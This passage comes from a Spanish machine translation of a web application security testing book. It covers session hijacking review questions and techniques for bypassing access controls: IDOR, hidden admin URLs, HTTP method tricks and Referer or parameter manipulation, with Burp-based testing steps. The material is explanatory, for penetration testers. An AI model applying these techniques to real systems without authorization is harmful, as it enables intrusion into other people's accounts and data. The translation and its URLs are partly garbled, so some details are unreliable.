que envían una solicitud no válida puede ralentizar el proceso de sondeo de la aplicación en
busca de vulnerabilidades en muchos órdenes de magnitud, incluso cuando se emplean
técnicas automatizadas. Si aún existen vulnerabilidades residuales, es mucho menos
probable que alguien en el campo las descubra.
Cuando se implemente este tipo de defensa, también se recomienda que pueda
desactivarse fácilmente para fines de prueba. Si una prueba de penetración legítima de la
aplicación se ralentiza de la misma manera que un atacante del mundo real, su eficacia se
reduce drásticamente. Además, es muy probable que la presencia del mecanismo provoque
que queden más vulnerabilidades en el código de producción que si el mecanismo estuviera
ausente.
PASOS DE HACK
Si la aplicación que está atacando utiliza este tipo de medida defensiva, es posible que
descubra que probar la aplicación en busca de muchos tipos de vulnerabilidades
comunes requiere mucho tiempo. La abrumadora necesidad de iniciar sesión después de
cada prueba fallida y volver a navegar hasta el punto de la aplicación que estaba viendo
rápidamente haría que se rindiera.
En esta situación, a menudo puede utilizar la automatización para abordar el problema.
Al usar Burp Intruder para realizar un ataque, puede usar la función Obtener cookie
para realizar un nuevo inicio de sesión antes de enviar cada caso de prueba y usar el
nuevo token de sesión (siempre que el inicio de sesión sea de una sola etapa). Al
navegar y sondear la aplicación manualmente, puede usar las funciones de extensibilidad
de Burp Proxy a través de la interfaz IBurpExtender. Puede crear una extensión que
detecte cuándo la aplicación ha realizado un cierre de sesión forzado, vuelva a iniciar
sesión automáticamente en la aplicación y devuelva la nueva sesión y página al navegador,
opcionalmente con un mensaje emergente para informarle lo que ha ocurrido. Aunque
esto de ninguna manera elimina el problema, en ciertos casos puede mitigarlo
sustancialmente.
Resumen
El mecanismo de gestión de sesiones proporciona una rica fuente de capacidades de
vulnerabilidades potenciales para que usted las apunte al formular su ataque contra una aplicación.
Debido a su papel fundamental al permitir que la aplicación identifique al mismo usuario en
múltiples solicitudes, una función de administración de sesión rota generalmente
proporciona las llaves del reino. Saltar a las sesiones de otros usuarios es bueno.
Secuestrar la sesión de un administrador es incluso mejor; por lo general, esto le permite
comprometer toda la aplicación.
Puede esperar encontrar una amplia gama de defectos en la funcionalidad de administración
de sesiones del mundo real. Cuando se emplean mecanismos a medida, las posibles debilidades
y vías de ataque pueden parecer infinitas. La lección más importante que se puede sacar de
este tema es ser paciente y decidido. Bastantes mecanismos de gestión de sesiones que
parecen ser robustos en la primera inspección pueden resultar deficientes cuando se analizan
de cerca. Descifrar el método que usa una aplicación para generar su secuencia de tokens
aparentemente aleatorios puede llevar tiempo e ingenio. Pero dada la recompensa, esta suele
ser una inversión que vale la pena hacer.
Preguntas
1. Inicia sesión en una aplicación y el servidor establece la siguiente cookie:

Establecer-cookie: sessid=amltMjM6MTI0MToxMTk0ODcwODYz;
Una hora más tarde, vuelve a iniciar sesión y recibe lo siguiente:

Establecer-cookie: sessid=amltMjM6MTI0MToxMTk0ODc1MTMy;
¿Qué puedes deducir de estas cookies?
2. Una aplicación emplea tokens de sesión alfanuméricos de seis caracteres y contraseñas

alfanuméricas de cinco caracteres. Ambos se generan aleatoriamente de acuerdo con un
algoritmo impredecible. ¿Cuál de estos es probable que sea el objetivo más valioso para
un ataque de adivinación de fuerza bruta? Enumere todos los diferentes factores que
pueden ser relevantes para su decisión.
3. Inicia sesión en una aplicación en la siguiente URL:

https://foo.wahh-app.com/login/home.php
y el servidor establece la siguiente cookie:

Establecer-cookie: sessionId=1498172056438227; dominio=foo.wahh app.com; ruta=/
iniciar sesión; Sólo Http;
Luego visita una variedad de otras URL. ¿A cuál de los siguientes enviará su navegador
la cookie de ID de sesión? (Seleccione todo lo que corresponda). (a) https://foo.wahh-
app.com/login/myaccount.php (b) https://bar.wahh-app.com/login (c) https://
staging.foo.wahh-app.com/login/home.php (d) http://foo.wahh-app.com/login/myaccount.php

(e) http://foo.wahh-app.com/logintest/login.php (f) https://

foo.wahh-app.com/logout (g) https://wahh-app.com/login /
(h) https://xfoo.wahh-app.com/login/myaccount.php
4. La aplicación a la que se dirige utiliza tokens por página además del token de
sesión principal. Si se recibe un token por página fuera de secuencia, se invalida
toda la sesión. Suponga que descubre algún defecto que le permite predecir o
capturar los tokens emitidos a otros usuarios que actualmente acceden a la
aplicación. ¿Puedes secuestrar sus sesiones?
5. Inicia sesión en una aplicación y el servidor establece la siguiente cookie:
Establecer-cookie: sess=ab11298f7eg14;
Cuando hace clic en el botón de cierre de sesión, se ejecuta el siguiente script

del lado del cliente:
documento.cookie=”sess=”;
documento.ubicación=”/”;
¿Qué conclusión sacaría de este comportamiento?

Capítulo R
Atacar los controles de acceso
Dentro de los mecanismos de seguridad básicos de la aplicación, los controles de acceso

se basan lógicamente en la autenticación y la gestión de sesiones. Hasta ahora, ha visto
cómo una aplicación puede primero verificar la identidad de un usuario y luego confirmar
que una secuencia particular de solicitudes que recibe se originó del mismo usuario. La
razón principal por la que la aplicación necesita hacer estas cosas, al menos en términos
de seguridad, es porque necesita una forma de decidir si debe permitir que una solicitud
determinada realice su intento de acción o acceda a los recursos que está solicitando.
Los controles de acceso son un mecanismo de defensa crítico dentro de la aplicación porque
son responsables de tomar estas decisiones clave. Cuando son defectuosos, un atacante a
menudo puede comprometer toda la aplicación, tomando el control de la funcionalidad
administrativa y accediendo a datos confidenciales que pertenecen a todos los demás usuarios.
Como se señaló en el Capítulo 1, los controles de acceso rotos se encuentran entre las
categorías de vulnerabilidad de aplicaciones web que se encuentran con más frecuencia y
afectan a un masivo 71 por ciento de las aplicaciones probadas recientemente por los
autores. Es extremadamente común encontrar aplicaciones que se toman la molestia de
implementar mecanismos robustos para la autenticación y la administración de sesiones,
solo para desperdiciar esa inversión al descuidar la creación de controles de acceso
efectivos en ellas. Una de las razones por las que estas debilidades son tan frecuentes es
que se deben realizar verificaciones de control de acceso para cada solicitud y cada
operación en un recurso que un usuario en particular intenta realizar, en un momento
específico. Y a diferencia de muchas otras clases de control, esta es una decisión de diseño
que debe tomar un ser humano; no se puede resolver empleando tecnología.
257
258 Capítulo 8 n Atacar los controles de acceso
Las vulnerabilidades de control de acceso son conceptualmente simples: la aplicación le

permite hacer algo que no debería poder hacer. Las diferencias entre fallas separadas realmente
se reducen a las diferentes formas en que se manifiesta este defecto central y las diferentes
técnicas que debe emplear para detectarlo. Este capítulo describe todas estas técnicas y muestra
cómo puede explotar diferentes tipos de comportamiento dentro de una aplicación para realizar
acciones no autorizadas y acceder a datos protegidos.
Vulnerabilidades comunes
Los controles de acceso se pueden dividir en tres amplias categorías: verticales, horizontales y
dependientes del contexto.
Los controles de acceso verticales permiten que diferentes tipos de usuarios accedan a
diferentes partes de la funcionalidad de la aplicación. En el caso más sencillo, esto suele implicar
una división entre usuarios normales y administradores. En casos más complejos, los controles
de acceso vertical pueden involucrar roles de usuario detallados que otorgan acceso a funciones
específicas, con cada usuario asignado a un solo rol o una combinación de diferentes roles.
Los controles de acceso horizontal permiten a los usuarios acceder a un determinado

subconjunto de una gama más amplia de recursos del mismo tipo. Por ejemplo, una aplicación
de correo web puede permitirle leer su correo electrónico pero no el de nadie más, un banco en
línea puede permitirle transferir dinero solo de su cuenta y una aplicación de flujo de trabajo
puede permitirle actualizar las tareas que tiene asignadas, pero solo lee las tareas asignadas a otras personas.
Los controles de acceso dependientes del contexto aseguran que el acceso de los usuarios
esté restringido a lo que está permitido dado el estado actual de la aplicación. Por ejemplo, si un
usuario sigue varias etapas dentro de un proceso, los controles de acceso dependientes del
contexto pueden evitar que el usuario acceda a etapas fuera del orden prescrito.
En muchos casos, los controles de acceso verticales y horizontales están entrelazados. Por
ejemplo, una aplicación de planificación de recursos empresariales puede permitir que cada
empleado de cuentas por pagar pague las facturas de una unidad organizativa específica y de
ninguna otra. El gerente de cuentas por pagar, por otro lado, puede estar autorizado a pagar
facturas por cualquier unidad. De manera similar, los empleados pueden pagar facturas por
montos pequeños, pero el gerente debe pagar las facturas más grandes. El director financiero
puede ver los pagos y recibos de facturas de cada unidad organizativa de la empresa, pero es
posible que no se le permita pagar ninguna factura.
Los controles de acceso se rompen si cualquier usuario puede acceder a funciones o recursos
para los que no está autorizado. Hay tres tipos principales de ataques contra los controles de
acceso, correspondientes a las tres categorías de controles:
n La escalada vertical de privilegios ocurre cuando un usuario puede realizar funciones

que su rol asignado no le permite. Por ejemplo, si un usuario común puede realizar
funciones administrativas o un empleado puede pagar facturas de cualquier monto, los
controles de acceso se rompen.
Capítulo 8 n Atacar los controles de acceso 259
n La escalada de privilegios horizontal se produce cuando un usuario puede ver o

modificar recursos para los que no tiene derecho. Por ejemplo, si puede usar una
aplicación de correo web para leer el correo electrónico de otras personas, o si un
empleado de pagos puede procesar facturas para una unidad organizativa distinta a la
suya, los controles de acceso no funcionan.
n La explotación de la lógica de negocios ocurre cuando un usuario puede explotar una

falla en la máquina de estado de la aplicación para obtener acceso a un recurso clave.
Por ejemplo, un usuario puede omitir el paso de pago en una secuencia de pago de
compras.
Es común encontrar casos donde la vulnerabilidad en la separación horizontal de privilegios

de la aplicación puede conducir inmediatamente a un ataque de escalada vertical. Por ejemplo,
si un usuario encuentra una manera de establecer una contraseña de usuario diferente, el
usuario puede atacar una cuenta administrativa y tomar el control de la aplicación.
En los casos descritos hasta ahora, los controles de acceso rotos permiten a los usuarios
que se han autenticado en la aplicación en un contexto de usuario particular realizar acciones
o acceder a datos para los que ese contexto no les autoriza.
Sin embargo, en los casos más graves de control de acceso roto, es posible que usuarios
completamente no autorizados obtengan acceso a funciones o datos a los que solo deben
acceder usuarios privilegiados autenticados.
Funcionalidad completamente desprotegida

En muchos casos de controles de acceso rotos, cualquier persona que conozca la URL
relevante puede acceder a funciones y recursos confidenciales. Por ejemplo, con muchas
aplicaciones, cualquier persona que visite una URL específica puede hacer pleno uso de sus
funciones administrativas:
https://wahh-app.com/admin/
En esta situación, la aplicación generalmente aplica el control de acceso solo en la siguiente

medida: los usuarios que han iniciado sesión como administradores ven un enlace a esta URL
en su interfaz de usuario y otros usuarios no. Esta diferencia cosmética es el único mecanismo
existente para "proteger" la funcionalidad sensible del uso no autorizado.
A veces, la URL que otorga acceso a funciones poderosas puede ser menos fácil de
adivinar e incluso puede ser bastante críptica:
https://wahh-app.com/menus/secure/ff457/DoAdminMenu2.jsp
Aquí, el acceso a las funciones administrativas está protegido por la suposición de que un
atacante no conocerá ni descubrirá esta URL. La aplicación es más difícil de comprometer
para un extraño, porque es menos probable que adivine la URL mediante la cual puede hacerlo.
MITO COMÚN
“Ningún usuario con pocos privilegios conocerá esa URL. No lo mencionamos en

ninguna parte dentro de la aplicación”.
La ausencia de un control de acceso genuino aún constituye una capacidad

vulnerable grave, independientemente de lo fácil que sea adivinar la URL. Las URL no
tienen la condición de secretos, ni dentro de la propia aplicación ni en manos de sus
usuarios. Se muestran en pantalla y aparecen en los historiales del navegador y en los
registros de los servidores web y los servidores proxy. Los usuarios pueden anotarlos,
marcarlos como favoritos o enviarlos por correo electrónico. No suelen cambiarse
periódicamente, como deberían ser las contraseñas. Cuando los usuarios cambian los
roles de trabajo y es necesario retirar su acceso a la funcionalidad administrativa, no
hay forma de eliminar su conocimiento de una URL en particular.
En algunas aplicaciones donde la funcionalidad confidencial está oculta detrás de URL que no
son fáciles de adivinar, un atacante a menudo puede identificarlas mediante una inspección
minuciosa del código del lado del cliente. Muchas aplicaciones usan JavaScript para construir la
interfaz de usuario dinámicamente dentro del cliente. Esto generalmente funciona configurando
varias banderas con respecto al estado del usuario y luego agregando elementos individuales a
la interfaz de usuario sobre la base de estos:
var esAdmin = falso;

...
si (es administrador)
{
adminMenu.addItem(“/menus/secure/ff457/addNewPortalUser2.jsp”,
“crear un nuevo usuario”);
}
Aquí, un atacante puede simplemente revisar el JavaScript para identificar las URL para la
funcionalidad administrativa e intentar acceder a ellas. En otros casos, los comentarios HTML
pueden contener referencias o pistas sobre direcciones URL que no están vinculadas desde el
contenido en pantalla. El Capítulo 4 analiza las diversas técnicas mediante las cuales un atacante
puede recopilar información sobre el contenido oculto dentro de la aplicación.
Acceso directo a métodos

Puede surgir un caso específico de funcionalidad desprotegida cuando las aplicaciones exponen
direcciones URL o parámetros que en realidad son invocaciones remotas de métodos API,
normalmente los expuestos por una interfaz Java. Esto ocurre a menudo cuando el código del lado
del servidor se mueve a un componente de extensión del navegador y se crean apéndices de
métodos para que el código aún pueda llamar a los métodos del lado del servidor que necesita para
funcionar. Fuera de esta situación, se pueden identificar algunas instancias de acceso directo a
métodos donde las URL o los parámetros utilizan las convenciones de nomenclatura estándar de
Java, como getBalance e isExpired.
En principio, las solicitudes que especifican la ejecución de una API del lado del servidor no
deben ser menos seguras que las que especifican un script del lado del servidor u otro recurso.
En la práctica, sin embargo, este tipo de mecanismo frecuentemente contiene vulnerabilidades.
A menudo, el cliente interactúa directamente con los métodos de la API del lado del servidor y
pasa por alto los controles normales de la aplicación sobre el acceso o los vectores de entrada
inesperados. También existe la posibilidad de que exista otra funcionalidad que se pueda invocar
de esta manera y que no esté protegida por ningún control, suponiendo que los clientes de
aplicaciones web nunca puedan invocarla directamente. A menudo, existe la necesidad de
proporcionar a los usuarios acceso a ciertos métodos específicos, pero en cambio se les da
acceso a todos los métodos. Esto se debe a que el desarrollador no es completamente
consciente de qué subconjunto de métodos usar como proxy y brinda acceso a todos los
métodos, o porque la API utilizada para asignarlos al servidor HTTP brinda acceso a todos los métodos de forma pre
El siguiente ejemplo muestra cómo se invoca el método getCurrentUserRoles
desde dentro de la interfaz securityCheck:
http://wahh-app.com/public/securityCheck/getCurrentUserRoles
En este ejemplo, además de probar los controles de acceso sobre el método

getCur rentUserRoles , debe verificar la existencia de otros métodos con
nombres similares, como getAllUserRoles, getAllRoles, getAllUsers y
getCurrentUserPermissions. Más adelante en este capítulo se describen otras
consideraciones específicas para la prueba del acceso directo a los métodos.
Funciones basadas en identificadores
Cuando se usa una función de una aplicación para obtener acceso a un recurso específico, es
común ver un identifi cador para el recurso solicitado que se pasa al servidor en un parámetro
de solicitud, ya sea dentro de la cadena de consulta de URL o en el cuerpo de un Solicitud
POST . Por ejemplo, una aplicación puede usar la siguiente URL para mostrar un documento
específico que pertenece a un usuario en particular:
https://wahh-app.com/ViewDocument.php?docid=1280149120
Cuando el usuario propietario del documento inicia sesión, se muestra un vínculo a

esta URL en la página Mis documentos del usuario. Otros usuarios no ven el enlace.
Sin embargo, si se rompen los controles de acceso, cualquier usuario que solicite la URL
correspondiente puede ver el documento exactamente de la misma manera que el usuario autorizado.
SUGERENCIA Este tipo de vulnerabilidad suele surgir cuando la aplicación

principal interactúa con un sistema externo o un componente de back-end. Puede
ser difícil compartir un modelo de seguridad basado en sesiones entre diferentes
sistemas que pueden estar basados en diversas tecnologías. Frente a este problema,
los desarrolladores con frecuencia toman un atajo y se alejan de ese modelo,
utilizando parámetros enviados por el cliente para tomar decisiones de control de acceso.
En este ejemplo, un atacante que busca obtener acceso no autorizado necesita

conocer no solo el nombre de la página de la aplicación (ViewDocument.php) , sino
también el identificador del documento que desea ver. A veces, los identificadores de
recursos se generan de manera muy impredecible; por ejemplo, pueden ser GUID
elegidos al azar. En otros casos, pueden adivinarse fácilmente; por ejemplo, pueden ser
números generados secuencialmente. Sin embargo, la aplicación es vulnerable en
ambos casos. Como se describió anteriormente, las URL no tienen el estatus de
secretos, y lo mismo se aplica a los identificadores de recursos. A menudo, un atacante
que quiera descubrir los identificadores de los recursos de otros usuarios puede
encontrar alguna ubicación dentro de la aplicación que los revele, como los registros de
acceso. Incluso cuando los identificadores de recursos de una aplicación no se pueden
adivinar fácilmente, la aplicación sigue siendo vulnerable si no logra controlar adecuadamente el acceso a esos r
En los casos en que los identifi cadores son fácilmente predecibles, el problema es
aún más serio y más fácil de explotar.
SUGERENCIA Los registros de aplicaciones suelen ser una mina de oro de información. Pueden
contener numerosos elementos de datos que se pueden usar como identificadores para sondear la
funcionalidad a la que se accede de esta manera. Los identificadores que se encuentran comúnmente
en los registros de aplicaciones incluyen nombres de usuario, números de ID de usuario, números
de cuenta, ID de documentos, grupos y roles de usuarios y direcciones de correo electrónico.
NOTA Además de usarse como referencia a recursos basados en datos dentro de la aplicación, este
tipo de identificador se usa a menudo para referirse a funciones de la propia aplicación. Como vio en
el Capítulo 4, una aplicación puede entregar diferentes funciones a través de una sola página, que
acepta un nombre de función o identificador como parámetro. De nuevo en esta situación, los controles
de acceso pueden no ser más profundos que la presencia o ausencia de direcciones URL específicas
dentro de las interfaces de diferentes tipos de usuarios. Si un atacante puede determinar el identificador
de una función confidencial, es posible que pueda acceder a ella de la misma manera que un usuario
con más privilegios.
Funciones multietapa
Muchos tipos de funciones dentro de una aplicación se implementan en varias etapas, lo
que implica el envío de múltiples solicitudes desde el cliente al servidor. Por ejemplo, una
función para agregar un nuevo usuario puede implicar elegir esta opción desde un menú
de mantenimiento de usuarios, seleccionar el departamento y la función del usuario de las
listas desplegables y luego ingresar el nuevo nombre de usuario, la contraseña inicial y
otra información.
Es común encontrar aplicaciones en las que se han realizado esfuerzos para proteger
este tipo de funcionalidad sensible del acceso no autorizado, pero donde los controles de
acceso empleados se rompen debido a suposiciones erróneas sobre cómo se utilizará la
funcionalidad.
En el ejemplo anterior, cuando un usuario intenta cargar el menú de mantenimiento de usuarios

y elige la opción de agregar un nuevo usuario, la aplicación puede verificar que el usuario tenga
los privilegios requeridos y bloquear el acceso si no los tiene.
Sin embargo, si un atacante procede directamente a la etapa de especificar el departamento del
usuario y otros detalles, es posible que no haya un control de acceso efectivo. Los desarrolladores
asumieron inconscientemente que cualquier usuario que llegue a las etapas posteriores del
proceso debe tener los privilegios pertinentes porque esto se verificó en las etapas anteriores. El
resultado es que cualquier usuario de la aplicación puede agregar una nueva cuenta de usuario
administrativo y, por lo tanto, tomar el control total de la aplicación, obteniendo acceso a muchas
otras funciones cuyo control de acceso es intrínsecamente robusto.
Los autores han encontrado este tipo de vulnerabilidad incluso en las aplicaciones web
más críticas para la seguridad, las implementadas por los bancos en línea. Realizar una
transferencia de fondos en una aplicación bancaria suele implicar varias etapas, en parte
para evitar que los usuarios cometan errores accidentalmente al solicitar una transferencia.
Este proceso de varias etapas implica capturar diferentes elementos de datos del usuario en cada
etapa. Estos datos se verifican minuciosamente cuando se envían por primera vez y luego, por lo
general, se pasan a cada etapa posterior, utilizando campos ocultos en formato HTML.
Sin embargo, si la aplicación no revalida todos estos datos en la etapa final, un atacante puede
eludir las comprobaciones del servidor. Por ejemplo, la aplicación podría verificar que la cuenta
de origen seleccionada para la transferencia pertenece al usuario actual y luego solicitar detalles
sobre la cuenta de destino y el monto de la transferencia. Si un usuario intercepta la solicitud
POST final de este proceso y modifica el número de cuenta de origen, puede ejecutar una
escalada de privilegios horizontal y transferir fondos de una cuenta que pertenece a un usuario
diferente.
Archivos estáticos
En la mayoría de los casos, los usuarios obtienen acceso a funciones y recursos protegidos
mediante la emisión de solicitudes a páginas dinámicas que se ejecutan en el servidor. Es
responsabilidad de cada una de esas páginas realizar verificaciones de control de acceso
adecuadas y confirmar que el usuario tiene los privilegios pertinentes para realizar la acción que está intentando.
Sin embargo, en algunos casos, las solicitudes de recursos protegidos se realizan directamente
a los propios recursos estáticos, que se encuentran dentro de la raíz web del servidor.
Por ejemplo, una editorial en línea puede permitir que los usuarios exploren su catálogo de libros
y compren libros electrónicos para descargarlos. Una vez realizado el pago, se dirige al usuario a
una URL de descarga como la siguiente:
https://wahh-books.com/download/9780636628104.pdf
Debido a que este es un recurso completamente estático, si está alojado en un servidor web
tradicional, el servidor simplemente devuelve su contenido directamente y no se ejecuta ningún
código de nivel de aplicación. Por lo tanto, el recurso no puede implementar ninguna lógica para verificar
que el usuario solicitante tiene los privilegios requeridos. Cuando se accede a los recursos estáticos de esta
manera, es muy probable que ningún control de acceso efectivo los esté protegiendo y que cualquiera que
conozca el esquema de nomenclatura de URL pueda explotar esto para acceder a los recursos que desee.
En el presente caso, el nombre del documento se parece sospechosamente a un ISBN, lo que permitiría a un
atacante descargar rápidamente todos los libros electrónicos producidos por el editor.
Ciertos tipos de funcionalidad son particularmente propensos a este tipo de problema, incluidos los sitios
web financieros que brindan acceso a documentos estáticos sobre empresas, como informes anuales,
proveedores de software que brindan binarios descargables y funcionalidad administrativa que brinda acceso
a archivos de registro estáticos y otros . datos confidenciales recopilados dentro de la aplicación.
Configuración incorrecta de la plataforma
Algunas aplicaciones usan controles en el servidor web o en la capa de la plataforma de aplicaciones para
controlar el acceso. Por lo general, el acceso a las rutas URL especificadas está restringido según el rol del
usuario dentro de la aplicación. Por ejemplo, se puede denegar el acceso a la ruta /admin a los usuarios que
no están en el grupo Administradores. En principio, se trata de un medio totalmente legítimo de controlar el
acceso. Sin embargo, los errores cometidos en la configuración de los controles a nivel de plataforma a
menudo pueden permitir que ocurra un acceso no autorizado.
La configuración a nivel de plataforma normalmente adopta la forma de reglas similares

a las reglas de política de firewall, que permiten o deniegan el acceso según lo siguiente:
n Método de solicitud HTTP n Ruta
URL
n Rol de usuario
Como se describe en el Capítulo 3, el propósito original del método GET es

recuperar información y el propósito del método POST es realizar acciones que
cambien los datos o el estado de la aplicación.
Si no se tiene cuidado de diseñar reglas que permitan el acceso con precisión en función de los métodos
HTTP correctos y las rutas de URL, esto puede conducir a un acceso no autorizado.
Por ejemplo, si una función administrativa para crear un nuevo usuario utiliza el método POST , la plataforma
puede tener una regla de denegación que no permita el método POST y permita todos los demás métodos.
Sin embargo, si el código de nivel de aplicación no verifica que todas las solicitudes de esta función estén
usando el método POST , un atacante puede eludir el control enviando la misma solicitud usando el método
GET . Dado que la mayoría de las API de nivel de aplicación para recuperar parámetros de solicitud son
independientes del método de solicitud, el atacante puede simplemente proporcionar los parámetros
requeridos dentro de la cadena de consulta de URL de la solicitud GET para hacer un uso no autorizado de
la función.
Lo que es más sorprendente, a primera vista, es que las aplicaciones aún pueden ser
vulnerables incluso si la regla de nivel de plataforma niega el acceso a los métodos GET y POST .
Esto sucede porque las solicitudes que usan otros métodos HTTP pueden ser manejadas en
última instancia por el mismo código de aplicación que maneja las solicitudes GET y POST . Un
ejemplo de esto es el método HEAD . Según las especificaciones, los servidores deben responder
a una solicitud HEAD con los mismos encabezados que utilizarían para responder a la solicitud
GET correspondiente , pero sin cuerpo de mensaje. Por lo tanto, la mayoría de las plataformas
atienden correctamente las solicitudes HEAD mediante la ejecución del controlador GET
correspondiente y solo devuelven los encabezados HTTP que se generan. Las solicitudes GET a
menudo se pueden usar para realizar acciones confidenciales, ya sea porque la propia aplicación
usa solicitudes GET para este propósito (contrariamente a las especificaciones) o porque no
verifica que se esté usando el método POST . Si un atacante puede usar una solicitud HEAD para
agregar una cuenta de usuario administrativo, puede vivir sin recibir ningún cuerpo de mensaje en
la respuesta.
En algunos casos, las plataformas manejan las solicitudes que usan métodos HTTP no
reconocidos simplemente pasándolas al controlador de solicitudes GET . En esta situación, los
controles de nivel de plataforma que simplemente niegan ciertos métodos HTTP especificados
pueden omitirse especificando un método HTTP inválido arbitrario en la solicitud.
El Capítulo 18 contiene un ejemplo específi co de este tipo de vulnerabilidad que surge en un
producto de plataforma de aplicación web.
Métodos de control de acceso inseguros

Algunas aplicaciones emplean un modelo de control de acceso fundamentalmente inseguro
en el que las decisiones de control de acceso se toman en función de los parámetros de
solicitud enviados por el cliente u otras condiciones que están bajo el control de un atacante.
Control de acceso basado en parámetros
En algunas versiones de este modelo, la aplicación determina la función o el nivel de acceso de

un usuario en el momento del inicio de sesión y, a partir de ese momento, transmite esta
información a través del cliente en un campo de formulario oculto, una cookie o un parámetro de
cadena de consulta preestablecido (consulte el Capítulo 5 ). ). Cuando se procesa cada solicitud
posterior, la aplicación lee este parámetro de solicitud y decide qué acceso otorgar al usuario en consecuencia.
Por ejemplo, un administrador que utilice la aplicación puede ver direcciones URL como las
siguientes:
https://wahh-app.com/login/home.jsp?admin=true
Las URL que ven los usuarios comunes contienen un parámetro diferente, o ninguno.
Cualquier usuario que conozca el parámetro asignado a los administradores puede simplemente
configurarlo en sus propias solicitudes y así obtener acceso a las funciones administrativas.
Este tipo de control de acceso a veces puede ser difícil de detectar sin usar la aplicación
como un usuario con privilegios elevados e identificar qué solicitudes se realizan. Las
técnicas descritas en el Capítulo 4 para descubrir parámetros de solicitud ocultos pueden
tener éxito en descubrir el mecanismo cuando se trabaja solo como un usuario normal.
Control de acceso basado en referencias
En otros modelos de control de acceso no seguros, la aplicación utiliza el encabezado

HTTP Referer como base para tomar decisiones de control de acceso. Por ejemplo, una
aplicación puede controlar estrictamente el acceso al menú administrativo principal en
función de los privilegios de un usuario. Pero cuando un usuario realiza una solicitud para
una función administrativa individual, la aplicación simplemente puede verificar si esta
solicitud se remitió desde la página del menú administrativo. Podría suponer que el usuario
debe haber accedido a esa página y, por lo tanto, tiene los privilegios necesarios. Este
modelo está fundamentalmente roto, por supuesto, porque el encabezado Referer está
completamente bajo el control del usuario y se puede establecer en cualquier valor.
Control de acceso basado en la ubicación
Muchas empresas tienen requisitos reglamentarios o comerciales para restringir el acceso

a los recursos según la ubicación geográfica del usuario. Estos no se limitan al sector
financiero sino que incluyen servicios de noticias y otros. En estas situaciones, una empresa
puede emplear varios métodos para localizar al usuario, el más común de los cuales es la
geolocalización de la dirección IP actual del usuario.
Los controles de acceso basados en la ubicación son relativamente fáciles de sortear
para un atacante. Aquí hay algunos métodos comunes para evitarlos:
n Usar un proxy web que esté basado en la ubicación requerida n

Usar una VPN que termine en la ubicación requerida n Usar un
dispositivo móvil que admita roaming de datos n Manipulación directa
de mecanismos del lado del cliente para la geolocalización
Atacar los controles de acceso
Antes de comenzar a sondear la aplicación para detectar vulnerabilidades reales de control

de acceso, debe tomarse un momento para revisar los resultados de los ejercicios de
mapeo de la aplicación (consulte el Capítulo 4). Debe comprender cuáles son los requisitos
reales de la aplicación en términos de control de acceso y, por lo tanto, dónde será
probablemente más fructífero centrar su atención.
PASOS DE HACK
Estas son algunas preguntas que se deben tener en cuenta al examinar los controles de acceso
de una aplicación:
1. ¿Las funciones de la aplicación dan acceso a los usuarios individuales a un determinado

subconjunto de datos que les pertenece?
2. ¿Hay diferentes niveles de usuario, como gerentes, supervisores, invitados, etc., a quienes
se les otorga acceso a diferentes funciones?
3. ¿Los administradores usan la funcionalidad integrada en la misma aplicación?

configurarlo y monitorearlo?
4. ¿Qué funciones o recursos de datos dentro de la aplicación ha identificado?

¿Eso probablemente le permitiría escalar sus privilegios actuales?
5. ¿Existen identificadores (por medio de parámetros de URL del mensaje del cuerpo POST) que
indiquen que se está utilizando un parámetro para realizar un seguimiento de los niveles de acceso?
Pruebas con diferentes cuentas de usuario

La manera más fácil y efectiva de probar la efectividad de los controles de acceso
de una aplicación es acceder a la aplicación usando diferentes cuentas. De esa
manera , puede determinar si los recursos y la funcionalidad a los que una cuenta
puede acceder legítimamente pueden ser accedidos ilegítimamente por otra.
PASOS DE HACK
1. Si la aplicación segrega el acceso de los usuarios a diferentes niveles de funcionalidad,

primero use una cuenta poderosa para ubicar toda la funcionalidad disponible.
Luego intente acceder a esto usando una cuenta con menos privilegios para probar la
escalada de privilegios verticales.
2. Si la aplicación segrega el acceso de los usuarios a diferentes recursos (como

documentos), use dos cuentas de nivel de usuario diferentes para probar si los controles
de acceso son efectivos o si es posible una escalada horizontal de privilegios. Por
ejemplo, busque un documento al que un usuario pueda acceder legítimamente, pero
otro no, e intente acceder a él utilizando la cuenta del segundo usuario, ya sea solicitando
la URL correspondiente o enviando los mismos parámetros POST desde la sesión del
segundo usuario.
Probar los controles de acceso de una aplicación a fondo es un proceso que requiere mucho
tiempo. Afortunadamente, algunas herramientas pueden ayudarlo a automatizar parte del trabajo
involucrado, para que sus pruebas sean más rápidas y confiables. Esto le permitirá concentrarse
en las partes de la tarea que requieren inteligencia humana para realizarlas de manera efectiva.
Burp Suite le permite mapear el contenido de una aplicación utilizando dos contextos de
usuario diferentes. Luego puede comparar los resultados para ver exactamente dónde el
contenido al que accede cada usuario es igual o diferente.
PASOS DE HACK
1. Con Burp configurado como su proxy y la intercepción deshabilitada, explore todo el

contenido de la aplicación dentro del contexto de un usuario. Si está probando
controles de acceso vertical, use la cuenta de mayor privilegio para esto.
2. Revise el contenido del mapa del sitio de Burp para asegurarse de haber identificado
todas las funciones que desea probar. Luego use el menú contextual para seleccionar
la función "comparar mapas de sitios".
3. Para seleccionar el segundo mapa del sitio que se comparará, puede cargarlo desde
un archivo de estado de Burp o hacer que Burp vuelva a solicitar dinámicamente el
primer mapa del sitio en un nuevo contexto de sesión. Para probar los controles de
acceso horizontal entre usuarios del mismo tipo, simplemente puede cargar un archivo
de estado que guardó anteriormente, habiendo mapeado la aplicación como un usuario
diferente. Para probar los controles de acceso vertical, es preferible volver a solicitar
el mapa del sitio con privilegios altos como usuario con privilegios bajos, ya que esto
garantiza una cobertura completa de la funcionalidad relevante.
4. Para volver a solicitar el primer mapa del sitio en una sesión diferente, debe configurar la
funcionalidad de manejo de sesión de Burp con los detalles de la sesión de usuario con
privilegios bajos (por ejemplo, al grabar una macro de inicio de sesión o proporcionar
una cookie específica para usar en peticiones). Esta función se describe con más
detalle en el Capítulo 14. Es posible que también deba definir reglas de alcance
adecuadas para evitar que Burp solicite cualquier función de cierre de sesión.
La figura 8-1 muestra los resultados de una comparación simple del mapa del sitio. Su
análisis coloreado de las diferencias entre los mapas del sitio muestra elementos que se han
agregado, eliminado o modificado entre los dos mapas. Para elementos modificados, la tabla
incluye una columna de "recuento de diferencias", que es el número de ediciones necesarias
para modificar el elemento en el primer mapa en el elemento en el segundo mapa. Además,
